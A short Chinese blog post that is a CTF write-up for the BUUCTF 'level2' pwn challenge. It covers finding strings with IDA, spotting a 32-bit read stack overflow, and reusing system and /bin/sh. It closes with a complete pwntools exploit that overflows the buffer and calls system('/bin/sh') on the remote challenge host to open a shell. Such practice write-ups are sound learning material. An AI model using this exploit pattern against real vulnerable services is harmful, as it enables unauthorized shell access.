本文已参与「新人创作礼」活动,一起开启掘金创作之路
之前一直不懂怎么用IDA查找字符,今天简单研究了一下,明白了一点。
就是用f12加shift(研究了半天68键的键盘怎么打出f12.。。原来是fn加等号)
今天的题也很简单,利用过程只需要明白32位程序的参数构成,和返回地址位置就可以了,这个我往期的文章有提到。
分析
没随机编址,只有禁止数据段执行,32位程序
看一下静态
有一个system函数,还有一个名字非常直白的函数,打开看看
提前下班了,属于是。简单的read栈溢出,加上一个88h的buf参数,使用了system函数,代表我们也可以调用。
最后查一下字符串
出现/bin/sh了,直接下班
直接放出poc吧,太简单了没有讲解的必要了
from pwn import *
p = remote('node4.buuoj.cn',29891)
elf = ELF('./level2')
system_plt = p32(elf.plt['system'])
sh = p32(0x0804A024)
main = p32(0x08048480)
关于如何拿到函数和字符串的地址,点一下词条复制就行
payload = "A" * (0x88+4)
payload += system_plt
payload += main
payload += sh
p.sendline(payload)
p.interactive()
\